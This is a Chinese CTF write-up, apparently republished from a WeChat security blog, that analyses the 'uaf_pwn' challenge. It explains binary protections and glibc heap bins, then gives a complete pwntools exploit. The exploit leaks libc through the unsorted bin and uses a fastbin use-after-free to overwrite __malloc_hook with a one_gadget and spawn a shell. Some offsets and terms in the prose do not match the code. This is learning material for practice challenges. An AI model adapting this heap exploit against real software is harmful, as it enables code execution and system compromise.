漏洞学习之PWN-绿城杯uaf_pwn 分析
2022-12-31 12:8:35 Author: 安全狗的自我修养(查看原文) 阅读量:12 收藏

1011日~1015

前期回顾

漏洞免费实战部分-安卓应用层getLastPathSegment函数问题

漏洞实战部分2-安卓应用ZipEntry对象问题实战

一、信息收集

RELRO:在Linux系统安全领域数据可以写的存储区就会是攻击的目标,尤其是存储函数指针的区域。 所以在安全防护的角度来说尽量减少可写的存储区域对安全会有极大的好处.GCC, GNU linker以及Glibc-dynamic linker一起配合实现了一种叫做relro的技术: read only relocation。大概实现就是由linker指定binary的一块经过dynamic linker处理过 relocation之后的区域为只读。设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号,从而减少对GOTGlobal Offset Table)攻击。RELRO” Partial RELRO”,说明我们对GOT表具有写权限。RELRO“Full RELRO”,对GOT表没有写入权限。

Stack:栈溢出保护,当启用栈保护后,函数开始执行的时候就会向往栈里插入cookie信息,当函数真正返回的时候回验证cookie信息是否合法,若果不合法就会停止程序运行。

NX:全称(NO-execute)不可执行的意思,NX的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常。

PIEPIE (ASLR) 全称(position-independent exeecutable)。中文为地址无关可执行文件。该技术是一个针对代码段(.text)、数据段(.data)、为初始化全局变量段(.bss)等固定地址的一个防护技术,如果程序开启了PIE保护的话,在每次加载程序时变换加载地址,从而不能通过ROPgadget等工具帮助解题。

文件保护检查栈溢出关闭,但本题目与栈溢出无关。

二、逆向分析文件

Main 函数逆向伪码

malloc函数中创建堆块存放到数组中

漏洞存在free功能中没有将指针置零。

文件存在UAF漏洞。

libc对堆块释放的管理

Fast bin 单链表结构,采用LIFO(后进先出) 的分配策略。表里的chunk不会合并,PREV_INUSE 始终为1.fastbinsY数组里按大小的顺序排列,下标为0fastbin中容纳chunk的大小 4*SIZE_SZ。随着序号增加,容量chunk递增2 * SIZE_SZ

unsortedbin 双链表结构,采用FIFO(先进先出)的分配策略。容纳的chunk大小可以不同

small bin 双链表结构,容纳的chunk大小相同。每个small bin的大小为2 * SIZE_SE * idx(下标)64位系统中最小的small chunk2x8x2=32字节,最大small chunk2 x 8 x 63 = 1008字节。

large bin 双链表结构

攻击思路

1.泄漏libc地址

2.计算system函数地址

3.利用UAF漏洞申请到malloc_hook地址空间

3.使用malloc_hook获取getshell

三、攻击细节

运行环境:ubuntu16 libc-2.23_x64.so

Pythonfrom pwn import *import pdb# -*- coding: utf-8 -*-  

debug = 1if (debug): p = process("./uaf_pwn")else: p = remote('node4.buuoj.cn', 25403)


libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")



def malloc(size): p.recvuntil(">") p.sendline("1") p.recvuntil("size>") p.sendline(str(size))

def free(idx): # p.recvuntil(">") p.sendline("2") p.recvuntil("index>") p.sendline(str(idx))


def fill(idx,payload): p.recvuntil(">") p.sendline("3") p.recvuntil("index>") p.sendline(str(idx)) p.recvuntil("content>") p.send(payload)


def show(idx): p.recvuntil(">") p.sendline("4") p.recvuntil("index>") p.sendline(str(idx)) return p.recv()[:-1]


malloc(0x100) # idx 0 use unsorted_bin get main_arena offsetmalloc(0x60) # idx 1free(0)leakaddr = show(0)# leak <main_arena + 88>libc_base = u64(leakaddr+b'\x00'+b'\x00') - 0x3c4b78

print(hex(libc_base))

malloc_hook = libc.symbols['__malloc_hook'] +libc_baseone_gadget = libc_base + 0x4527afree(1) #idx 1


fill(1,p64(malloc_hook-0x23)) # chunk1_fd = malloc_hookmalloc(0x60) # idx 2 get idx_1's chunkmalloc(0x60) # idx 3fill(3,b'a'*0x13+p64(one_gadget))

malloc(0x10)

p.interactive()

1.泄漏main_arena地址计算libc_base.

创建大小0x100的堆块 idx-0,随后free堆块 idx-0,因为没有将堆指针置零 所以在释放后还可以继续使用,调用printf功能输出main_arena+88 地址。idx-0 会被libc存放到unsortedbin 链表中。当fastbins表为空闲时 unsortedbin 链表上的fdbk都会指向main_arena

计算li bc地址,当前获取了main_arena+88 。当前运行环境为ubuntu16 libc2.23_x64.so库。

使用ida加载libc-2.23_x64.so 搜索malloc_trim函数,对照源码可得 0x3C4B20  main_arena 的偏移地址。

源码中 malloc_trim 函数

计算公式为 libc_base = main_arena+88 - 0x3c4b20.

2.使用malloc_hook 方法拿到getshell

这里使用fastbins机制。

利用fastbins 链表中依赖fd查找下一个堆块的机制,申请到malloc_hook的堆块。

malloc_hook中写入gadget来执行execve函数获取shell

假设申请两个堆块idx0 idx1 大小为0x40free掉两个堆块后 存放在fastbins链中,同时fastbins的结构是LIFO,就是最后free的堆块,malloc时最先返回使用。其维护free后堆块的fd指针来维护单链表结构。

malloc(0x40)返回idx1堆块,在malloc的时候,fastbins会根据idx1fd指针找到idx0,然后删除idx1堆块。如果能修改free掉的idx1fd指针,把它指向一个想要的地方,那就可以实现任意写了。

本题存在uaf漏洞所以可直接申请0x60大小的堆块,free后调用fill功能修改堆块中fd的指针。将其指向malloc_hook-0x23地址中,连续申请两个堆块idx0idx1. 此时idx1malloc_hook 堆空间,调用fill功能写入shellcodemalloc_hook堆空间中。任意创建一个堆块调用malloc函数触发malloc_hook 执行shellocde获取getshell

完。

参考链接:

libc在线源码查看---所有版本

https://elixir.bootlin.com/glibc/glibc-2.23.90/source/malloc/malloc.c

如果感兴趣可以了解下漏洞视频教程目录如下:

关注微信公众号或者可以直接加作者微信:

其它学习教程。


文章来源: http://mp.weixin.qq.com/s?__biz=MzkwOTE5MDY5NA==&mid=2247487190&idx=1&sn=ea3fb4603595febc86e3bfdb33146004&chksm=c13f3d9ff648b4898379652b7781e1ee45739fefd34ba9a1d8efd4848f24320da8b7a63707e7#rd
如有侵权请联系:admin#unsafe.sh